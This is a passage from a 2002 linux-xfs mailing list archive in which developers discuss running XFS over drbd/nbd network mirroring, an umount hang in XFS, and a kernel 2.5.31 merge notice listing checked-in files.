=?iso-8859-1?q?Manns=E5ker?=) Organization: Program-, Informasjons- og Nettverksteknologisk Gruppe, UiO Date: Fri, 16 Aug 2002 11:53:06 +0200 In-Reply-To: (ilmari@ping.uio.no's message of "Fri, 16 Aug 2002 10:57:27 +0200") Message-ID: Lines: 7 User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i386-debian-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-3.9 required=5.0 tests=IN_REP_TO,PLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk ilmari@ping.uio.no (Dagfinn Ilmari MannsÃ¥ker) writes: [snip] Oops, I didn't mean to send that last one, sorry for the noise. -- ilmari From owner-linux-xfs@oss.sgi.com Fri Aug 16 03:14:03 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GAE3Rw020148 for ; Fri, 16 Aug 2002 03:14:03 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GAE31T020147 for linux-xfs-outgoing; Fri, 16 Aug 2002 03:14:03 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GADuRw020114 for ; Fri, 16 Aug 2002 03:13:57 -0700 Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g7GAGYL27774 for ; Fri, 16 Aug 2002 12:16:34 +0200 Message-ID: <3D5CD102.804@ima.pl> Date: Fri, 16 Aug 2002 12:16:34 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: XFS and net devices, any pros or cons ? References: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> <1029345349.15708.98.camel@jen.americas.sgi.com> <3D5B5696.3FDFD3B6@ch.sauter-bc.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.9 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Simon Matter wrote: > > If I'm not completely wrong here drbd is similar to nbd, isn't it. > Long time ago I have successfully built a software RAID5 over three > server using nbd, of course running XFS as filesystem. How many crashes it was survived ? (Probably you were crashing them for tests, arent so ?) Regards, Blizbor From owner-linux-xfs@oss.sgi.com Fri Aug 16 03:29:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GATBRw020473 for ; Fri, 16 Aug 2002 03:29:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GATBBK020472 for linux-xfs-outgoing; Fri, 16 Aug 2002 03:29:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GAT4Rw020444 for ; Fri, 16 Aug 2002 03:29:05 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id FAA46175; Fri, 16 Aug 2002 05:31:39 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-12.corp.sgi.com [134.15.64.12]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id FAA06702; Fri, 16 Aug 2002 05:31:38 -0500 (CDT) Subject: Re: umount in XFS is broken From: Stephen Lord To: Ethan Benson Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020816003323.C15734@plato.local.lan> References: <20020816003323.C15734@plato.local.lan> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 16 Aug 2002 05:31:40 -0500 Message-Id: <1029493903.1116.2.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-16 at 03:33, Ethan Benson wrote: > > i reported a deadlocked mount -o remount,ro process a couple monthes > ago and got no response. > > now today i have had a ordinary umount (not remount) go into an > unkillable D state permanently. I have seen a hang in unmount, usually unmounting my root on my laptop, but failed to reproduce it anywhere else. I also failed to reproduce it without having the binary kernel module I have to use to to get through SGI's firewall loaded. This last one made me think it was actually something that module was doing. Maybe its time to dig a little more. Steve From owner-linux-xfs@oss.sgi.com Fri Aug 16 03:39:58 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GAdwRw020747 for ; Fri, 16 Aug 2002 03:39:58 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GAdwoX020746 for linux-xfs-outgoing; Fri, 16 Aug 2002 03:39:58 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GAdjRw020718 for ; Fri, 16 Aug 2002 03:39:45 -0700 Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id DAA04031 for ; Fri, 16 Aug 2002 03:42:23 -0700 (PDT) mail_from (tb670725@ima.pl) Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g7GANgL28155 for ; Fri, 16 Aug 2002 12:23:42 +0200 Message-ID: <3D5CD2AF.8070904@ima.pl> Date: Fri, 16 Aug 2002 12:23:43 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: XFS and net devices, any pros or cons ? References: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> <1029345349.15708.98.camel@jen.americas.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=2.2 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,MAY_BE_FORGED,FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Steve Lord wrote: > On Wed, 2002-08-14 at 12:08, Greg Freemyer wrote: > >> >> The normal way we setup something like this is to use a shared scsi >> >> or fiberchannel disk setup, that way you no longer have a singe >> >> point of failure. If you are putting the disks into one of the >> >> two computers then if that system goes down you are dead in the >> >> water. The other aspect of the above setup is using something >> >> like failsafe, the two nodes monitor each other, and can (if >> >> setup correctly) shoot the other node down and take over the >> >> filesystem if it detects problems. failsafe itself is opensource, >> >> not sure if the components of it which fail over the filesystem >> >> to the other node are. Of course all this assumes using the fs >> >> via NFS - the second node takes over the ip address of the failed >> >> node. >> >> >> A quick look at drbd on the net seems to show that it is designed >> >> for these sorts of setups, and it has links to all the high >> >> availability stuff for linux. >> >> >> That aside, there should be no problem doing this, provided you >> >> make sure the unmount from one system is complete before attempting >> >> to mount on the other system. Mounting a filesystem which is >> >> already mounted elsewhere is not a good thing, the second system >> >> will think the fs needs recovery running on it. >> >> >> Steve >> >>I don't think drbd is designed for use in a shared SCSI environment. > > > I did not intend to imply it was, just presenting a different way > to build a resilient configuration. > This what I'm building isn't shared SCSI. I'm believe that shared SCSI couldn't survive some kind of crashes. I prefer two complete, independent machines which are mirroring some storage via LAN and replicate some data using native protocols of some services. >>It is more of a RAID 1 driver where the 2 halves of the mirror are on the 2 different servers using internal disks. >> >>I believe it has support for ordered writes, but I for one would not simply assume XFS and drbd are compatible. >> > > > Ah, I should have read more.... if the fs is mirrored between the two > hosts then there is a chance it will work OK. However, the interesting > part of XFS is write ordering - there are certain writes which we need > to know have made it down to disk and will survive a crash. In this > sort of setup I really do not know where the data will be once drbd > says it is written. Probably still in cache on the remote box for a > start. There may well be circumstances where loss of both machines > will cause filesystem corruption. > > you are right, testing such a setup before going live with it is > important, please do not take my comments as meaning it will definitely > work. Steve, there are few modes of operation of the drbd: a) - send and forgot b) - send and OK is when recive acknowledge is returned c) - send and OK is when write on remote is commited So, what exactly data should be synced ? I'm thinking, that during creation of XFS filesystem on lets say /dev/sdb1 (16GB) i will create logs on /dev/sdb2 (128MB or 256MB or less - must calculate exact size) Then: /dev/sdb1 (data) will be mirrored using mode b, and /dev/sdb2 (logs) will mirror using mode c. Nothing will use mode a. Is it wright ? Regards, Blizbor From owner-linux-xfs@oss.sgi.com Fri Aug 16 03:49:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GAnTRw021002 for ; Fri, 16 Aug 2002 03:49:29 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GAnTcv021001 for linux-xfs-outgoing; Fri, 16 Aug 2002 03:49:29 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GAnGRw020970 for ; Fri, 16 Aug 2002 03:49:17 -0700 Received: from erbenson.alaska.net (48-pm29.nwc.alaska.net [209.112.158.48]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7GApt5X099083 for ; Fri, 16 Aug 2002 02:51:55 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 8F9A63A09 for ; Fri, 16 Aug 2002 02:51:54 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 398F910294; Fri, 16 Aug 2002 02:51:54 -0800 (AKDT) Date: Fri, 16 Aug 2002 02:51:54 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: umount in XFS is broken Message-ID: <20020816025154.F15734@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020816003323.C15734@plato.local.lan> <1029493903.1116.2.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="PyMzGVE0NRonI6bs" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1029493903.1116.2.camel@laptop.americas.sgi.com>; from lord@sgi.com on Fri, Aug 16, 2002 at 05:31:40AM -0500 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --PyMzGVE0NRonI6bs Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Aug 16, 2002 at 05:31:40AM -0500, Stephen Lord wrote: > On Fri, 2002-08-16 at 03:33, Ethan Benson wrote: > >=20 > > i reported a deadlocked mount -o remount,ro process a couple monthes > > ago and got no response. > >=20 > > now today i have had a ordinary umount (not remount) go into an > > unkillable D state permanently. >=20 >=20 > I have seen a hang in unmount, usually unmounting my root on my > laptop, but failed to reproduce it anywhere else. I also failed > to reproduce it without having the binary kernel module I have > to use to to get through SGI's firewall loaded. This last one > made me think it was actually something that module was doing. >=20 > Maybe its time to dig a little more. my suggestion on reproducing would be to write as much data as possible and then try and umount (or remount ro) as quickly as possible, even try to umount at the same time as some operation (my remount ro hang occured when the remount was happening at the same moment some rm commands were running) im no kernel hacker but it just seems like its some sort of race when xfs or whatever is commiting things to the fs in preperation for umount. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --PyMzGVE0NRonI6bs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1c2UoACgkQJKx7GixEevwzcACfdgIdQ+RBKRl01EJtZ9yc7CLY FaYAnRXz0s0qCJ8bkXSRI+9ZsUqzRSeP =hb/w -----END PGP SIGNATURE----- --PyMzGVE0NRonI6bs-- From owner-linux-xfs@oss.sgi.com Fri Aug 16 04:25:25 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GBPPRw021863 for ; Fri, 16 Aug 2002 04:25:25 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GBPPrx021862 for linux-xfs-outgoing; Fri, 16 Aug 2002 04:25:25 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GBP8Rw021825 for ; Fri, 16 Aug 2002 04:25:09 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id 88D20C2E4; Fri, 16 Aug 2002 13:08:20 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id NAA20839; Fri, 16 Aug 2002 13:08:19 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 2644E57306; Fri, 16 Aug 2002 13:07:28 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by mobile.sauter-bc.com (Postfix) with ESMTP id 05CAA25835; Fri, 16 Aug 2002 13:07:28 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 8E72B30881D; Fri, 16 Aug 2002 13:07:27 +0200 (CEST) Message-ID: <3D5CDCEF.68F880EC@ch.sauter-bc.com> Date: Fri, 16 Aug 2002 13:07:27 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: "Blizbor (IMA)" Cc: linux-xfs@oss.sgi.com Subject: Re: XFS and net devices, any pros or cons ? References: <20020814171123.FZMF1197.imf05bis.bellsouth.net@TAZ2> <1029345349.15708.98.camel@jen.americas.sgi.com> <3D5B5696.3FDFD3B6@ch.sauter-bc.com> <3D5CD102.804@ima.pl> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk "Blizbor (IMA)" schrieb: > > Simon Matter wrote: > > > > > If I'm not completely wrong here drbd is similar to nbd, isn't it. > > Long time ago I have successfully built a software RAID5 over three > > server using nbd, of course running XFS as filesystem. > > How many crashes it was survived ? > (Probably you were crashing them for tests, arent so ?) I really don't remember what I tested. The only thing I'm sure is that it has worked. Simon > > Regards, > Blizbor From owner-linux-xfs@oss.sgi.com Fri Aug 16 07:44:16 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GEiGRw026032 for ; Fri, 16 Aug 2002 07:44:16 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GEiGuQ026031 for linux-xfs-outgoing; Fri, 16 Aug 2002 07:44:16 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GEgaRw025888 for ; Fri, 16 Aug 2002 07:42:36 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA47119 for ; Fri, 16 Aug 2002 09:45:11 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA81452 for ; Fri, 16 Aug 2002 09:45:11 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7GEgqJ11383; Fri, 16 Aug 2002 09:42:52 -0500 Message-Id: <200208161442.g7GEgqJ11383@jen.americas.sgi.com> Date: Fri, 16 Aug 2002 09:42:52 -0500 Subject: TAKE - merge up to 2.5.31 To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.7 required=5.0 tests=PORN_12,PORN_10 version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk IDE stopped making loud noises when mounting an xfs filesystem, XFS on loopback devices started working again. kdb on a serial line is not quite working - the keyboard stays on the graphical console, just the output makes it to the serial console. Date: Fri Aug 16 07:39:54 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.5 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:125247a linux/arch/arm/mach-pxa/sleep.S - 1.1 linux/include/asm-alpha/regdef.h - 1.1 linux/include/asm-mips/linkage.h - 1.1 linux/include/asm-alpha/percpu.h - 1.1 linux/include/asm-m68k/linkage.h - 1.1 linux/include/asm-x86_64/linkage.h - 1.1 linux/include/asm-parisc/linkage.h - 1.1 linux/drivers/base/fs/Makefile - 1.1 linux/drivers/base/fs/bus.c - 1.1 linux/drivers/base/fs/device.c - 1.1 linux/drivers/base/fs/driver.c - 1.1 linux/include/asm-sparc64/linkage.h - 1.1 linux/drivers/base/fs/fs.h - 1.1 linux/include/asm-ppc/linkage.h - 1.1 linux/include/asm-alpha/linkage.h - 1.1 linux/drivers/char/drm/drm_os_linux.h - 1.1 linux/include/asm-mips64/linkage.h - 1.1 linux/include/asm-ppc64/linkage.h - 1.1 linux/include/asm-s390/linkage.h - 1.1 linux/include/asm-s390x/linkage.h - 1.1 linux/fs/jfs/resize.c - 1.1 linux/include/asm-sh/linkage.h - 1.1 linux/include/asm-sparc/linkage.h - 1.1 linux/include/asm-sparc/cacheflush.h - 1.1 linux/drivers/serial/sunzilog.c - 1.1 linux/include/asm-sparc/tlbflush.h - 1.1 linux/include/asm-ia64/linkage.h - 1.1 linux/include/asm-arm/linkage.h - 1.1 linux/arch/arm/mach-pxa/pm.c - 1.1 linux/drivers/serial/suncore.c - 1.1 linux/drivers/serial/suncore.h - 1.1 linux/drivers/serial/sunsab.c - 1.1 linux/drivers/serial/sunsab.h - 1.1 linux/drivers/serial/sunsu.c - 1.1 linux/drivers/serial/sunzilog.h - 1.1 linux/arch/arm/def-configs/lubbock - 1.1 linux/net/sched/sch_htb.c - 1.1 linux/include/asm-sparc/thread_info.h - 1.1 linux/include/asm-cris/linkage.h - 1.1 linux/include/asm-i386/linkage.h - 1.1 linux/net/x25/af_x25.c - 1.28 linux/net/wanrouter/wanproc.c - 1.23 linux/net/unix/af_unix.c - 1.47 linux/net/sysctl_net.c - 1.8 linux/net/socket.c - 1.39 linux/net/sched/sch_api.c - 1.14 linux/net/sched/Makefile - 1.8 linux/net/sched/Config.in - 1.9 linux/net/rose/af_rose.c - 1.26 linux/net/packet/af_packet.c - 1.33 linux/net/netsyms.c - 1.50 linux/net/netrom/af_netrom.c - 1.25 linux/net/netlink/netlink_dev.c - 1.17 linux/net/netlink/af_netlink.c - 1.20 linux/net/irda/af_irda.c - 1.39 linux/net/ipx/sysctl_net_ipx.c - 1.6 linux/net/ipx/af_spx.c - 1.18 linux/net/ipx/af_ipx.c - 1.28 linux/net/ipx/Makefile - 1.7 linux/net/ipx/Config.in - 1.5 linux/net/ipv6/udp.c - 1.29 linux/net/ipv6/tcp_ipv6.c - 1.39 linux/net/ipv6/sit.c - 1.22 linux/net/ipv6/raw.c - 1.27 linux/net/ipv6/ndisc.c - 1.23 linux/net/ipv6/af_inet6.c - 1.23 linux/net/ipv4/udp.c - 1.32 linux/net/ipv4/tcp_ipv4.c - 1.47 linux/net/ipv4/route.c - 1.34 linux/net/ipv4/raw.c - 1.23 linux/net/ipv4/protocol.c - 1.8 linux/net/ipv4/ipip.c - 1.22 linux/net/ipv4/ipconfig.c - 1.32 linux/net/ipv4/ip_output.c - 1.33 linux/net/ipv4/ip_gre.c - 1.21 linux/net/ipv4/icmp.c - 1.31 linux/net/ipv4/fib_rules.c - 1.9 linux/net/ipv4/fib_frontend.c - 1.14 linux/net/ipv4/devinet.c - 1.17 linux/net/ipv4/arp.c - 1.24 linux/net/ipv4/af_inet.c - 1.37 linux/net/core/neighbour.c - 1.17 linux/net/core/dev.c - 1.57 linux/net/core/datagram.c - 1.14 linux/net/ax25/af_ax25.c - 1.26 linux/net/appletalk/sysctl_net_atalk.c - 1.3 linux/net/appletalk/ddp.c - 1.21 linux/net/appletalk/aarp.c - 1.13 linux/net/802/transit/timertr.pre - 1.3 linux/net/802/transit/pdutr.pre - 1.4 linux/net/802/transit/compile.awk - 1.3 linux/net/802/sysctl_net_802.c - 1.3 linux/net/802/psnap.c - 1.7 linux/net/802/pseudo/pseudocode - 1.4 linux/net/802/pseudo/opcodesnm.h - 1.3 linux/net/802/pseudo/opcodes - 1.3 linux/net/802/pseudo/opcd2num.sed - 1.3 linux/net/802/pseudo/compile.awk - 1.3 linux/net/802/pseudo/actionnm.awk - 1.3 linux/net/802/p8022.c - 1.8 linux/net/802/llc_utility.c - 1.3 linux/net/802/llc_sendpdu.c - 1.5 linux/net/802/llc_macinit.c - 1.6 linux/net/802/cl2llc.pre - 1.6 linux/net/802/TODO - 1.4 linux/net/802/Makefile - 1.9 linux/mm/vmscan.c - 1.107 linux/mm/swap_state.c - 1.45 linux/mm/mmap.c - 1.58 linux/mm/memory.c - 1.88 linux/mm/filemap.c - 1.129 linux/kernel/signal.c - 1.37 linux/kernel/resource.c - 1.17 linux/kernel/panic.c - 1.19 linux/kernel/ksyms.c - 1.158 linux/kernel/fork.c - 1.65 linux/kernel/dma.c - 1.7 linux/kernel/Makefile - 1.33 linux/include/net/tcp.h - 1.33 linux/include/net/spx.h - 1.4 linux/include/net/llc.h - 1.4 linux/include/net/ipx.h - 1.9 linux/include/linux/swap.h - 1.62 linux/include/linux/smp.h - 1.19 linux/include/linux/skbuff.h - 1.26 linux/include/linux/pkt_sched.h - 1.6 linux/include/linux/personality.h - 1.10 linux/include/linux/pagemap.h - 1.44 linux/include/linux/mm.h - 1.95 linux/include/linux/linkage.h - 1.10 linux/include/linux/isdnif.h - 1.14 linux/include/linux/isdn.h - 1.23 linux/include/linux/ipx.h - 1.3 linux/include/linux/init.h - 1.20 linux/include/linux/if_ether.h - 1.11 linux/include/linux/fs.h - 1.187 linux/include/linux/blkdev.h - 1.64 linux/include/linux/atalk.h - 1.6 linux/include/asm-sparc64/system.h - 1.22 linux/include/asm-sparc64/softirq.h - 1.12 linux/include/asm-sparc64/smplock.h - 1.8 linux/include/asm-sparc64/smp.h - 1.15 linux/include/asm-sparc64/sab82532.h - 1.5 linux/include/asm-sparc64/ns87303.h - 1.4 linux/include/asm-sparc64/keyboard.h - 1.7 linux/include/asm-sparc64/irq.h - 1.12 linux/include/asm-sparc64/hardirq.h - 1.16 linux/include/asm-sparc64/auxio.h - 1.5 linux/include/asm-sparc/uaccess.h - 1.9 linux/include/asm-sparc/system.h - 1.12 linux/include/asm-sparc/spinlock.h - 1.10 linux/include/asm-sparc/processor.h - 1.19 linux/include/asm-sparc/pgtsrmmu.h - 1.4 linux/include/asm-sparc/pgtable.h - 1.27 linux/include/asm-sparc/page.h - 1.16 linux/include/asm-sparc/mmu_context.h - 1.7 linux/include/asm-sparc/elf.h - 1.6 linux/include/asm-sparc/current.h - 1.3 linux/include/asm-sparc/bitops.h - 1.15 linux/include/asm-ppc/unistd.h - 1.23 linux/include/asm-ppc/smplock.h - 1.11 linux/include/asm-ppc/processor.h - 1.34 linux/include/asm-ppc/bootinfo.h - 1.10 linux/include/asm-ppc/bitops.h - 1.16 linux/include/asm-alpha/system.h - 1.22 linux/include/asm-alpha/softirq.h - 1.10 linux/include/asm-alpha/smplock.h - 1.6 linux/include/asm-alpha/smp.h - 1.20 linux/include/asm-alpha/pgtable.h - 1.35 linux/include/asm-alpha/param.h - 1.5 linux/include/asm-alpha/page.h - 1.16 linux/include/asm-alpha/mmu_context.h - 1.14 linux/include/asm-alpha/hardirq.h - 1.14 linux/include/asm-alpha/bitops.h - 1.13 linux/include/asm-alpha/a.out.h - 1.4 linux/fs/super.c - 1.91 linux/fs/ntfs/super.c - 1.20 linux/fs/ntfs/inode.h - 1.10 linux/fs/ntfs/inode.c - 1.22 linux/fs/ntfs/dir.c - 1.17 linux/fs/ntfs/Makefile - 1.23 linux/fs/exec.c - 1.60 linux/fs/block_dev.c - 1.54 linux/fs/adfs/super.c - 1.24 linux/fs/adfs/inode.c - 1.27 linux/fs/adfs/file.c - 1.16 linux/fs/adfs/dir.c - 1.20 linux/drivers/scsi/sr.c - 1.48 linux/drivers/scsi/sd.c - 1.66 linux/drivers/scsi/qlogicpti.c - 1.21 linux/drivers/scsi/esp.c - 1.22 linux/drivers/sbus/sbus.c - 1.17 linux/drivers/sbus/char/zs.h - 1.4 linux/drivers/sbus/char/zs.c - 1.24 linux/drivers/sbus/char/vfc_dev.c - 1.16 linux/drivers/sbus/char/sunserial.h - 1.4 linux/drivers/sbus/char/sunserial.c - 1.10 linux/drivers/sbus/char/sunmouse.h - 1.4 linux/drivers/sbus/char/sunmouse.c - 1.15 linux/drivers/sbus/char/sunkeymap.map - 1.4 linux/drivers/sbus/char/sunkeymap.c - 1.4 linux/drivers/sbus/char/sunkbdmap.c - 1.3 linux/drivers/sbus/char/sunkbd.h - 1.4 linux/drivers/sbus/char/sunkbd.c - 1.21 linux/drivers/sbus/char/su.c - 1.23 linux/drivers/sbus/char/sab82532.c - 1.26 linux/drivers/sbus/char/rtc.c - 1.15 linux/drivers/sbus/char/pcikbd.h - 1.3 linux/drivers/sbus/char/pcikbd.c - 1.22 linux/drivers/sbus/char/openprom.c - 1.14 linux/drivers/sbus/char/flash.c - 1.17 linux/drivers/sbus/char/envctrl.c - 1.16 linux/drivers/sbus/char/bpp.c - 1.20 linux/drivers/sbus/char/Makefile - 1.14 linux/drivers/sbus/char/Config.in - 1.9 linux/drivers/sbus/audio/audio.c - 1.19 linux/drivers/pci/pci.c - 1.60 linux/drivers/pci/compat.c - 1.9 linux/drivers/pci/Makefile - 1.23 linux/drivers/net/yellowfin.c - 1.32 linux/drivers/net/wd.c - 1.19 linux/drivers/net/via-rhine.c - 1.36 linux/drivers/net/tlan.c - 1.29 linux/drivers/net/sunhme.c - 1.38 linux/drivers/net/strip.c - 1.19 linux/drivers/net/smc-ultra32.c - 1.16 linux/drivers/net/smc-ultra.c - 1.23 linux/drivers/net/rcpci45.c - 1.23 linux/drivers/net/plip.c - 1.23 linux/drivers/net/ne2k-pci.c - 1.25 linux/drivers/net/myri_sbus.h - 1.5 linux/drivers/net/myri_sbus.c - 1.15 linux/drivers/net/hp-plus.c - 1.18 linux/drivers/net/hamradio/bpqether.c - 1.21 linux/drivers/net/hamradio/baycom_epp.c - 1.21 linux/drivers/net/hamradio/6pack.c - 1.15 linux/drivers/net/ewrk3.c - 1.22 linux/drivers/net/epic100.c - 1.31 linux/drivers/net/eepro100.c - 1.48 linux/drivers/net/eepro.c - 1.26 linux/drivers/net/defxx.c - 1.22 linux/drivers/net/Space.c - 1.36 linux/drivers/net/8390.h - 1.13 linux/drivers/net/3c59x.c - 1.36 linux/drivers/net/3c503.c - 1.23 linux/drivers/net/3c501.c - 1.19 linux/drivers/isdn/isdnloop/isdnloop.c - 1.14 linux/drivers/isdn/act2000/capi.h - 1.7 linux/drivers/char/rtc.c - 1.30 linux/drivers/char/Makefile - 1.68 linux/drivers/cdrom/sonycd535.c - 1.26 linux/drivers/cdrom/cdrom.c - 1.44 linux/drivers/block/xd.h - 1.10 linux/drivers/block/xd.c - 1.41 linux/drivers/block/swim3.c - 1.19 linux/drivers/block/ps2esdi.c - 1.43 linux/drivers/block/paride/pd.c - 1.34 linux/drivers/block/genhd.c - 1.31 linux/drivers/block/floppy.c - 1.45 linux/drivers/block/ataflop.c - 1.26 linux/drivers/block/amiflop.c - 1.27 linux/drivers/block/acsi.c - 1.34 linux/drivers/acorn/scsi/powertec.c - 1.15 linux/drivers/acorn/scsi/oak.c - 1.11 linux/drivers/acorn/scsi/eesox.c - 1.15 linux/drivers/acorn/scsi/ecoscsi.c - 1.12 linux/drivers/acorn/scsi/cumana_2.c - 1.15 linux/drivers/acorn/scsi/cumana_1.c - 1.9 linux/drivers/acorn/scsi/acornscsi.c - 1.17 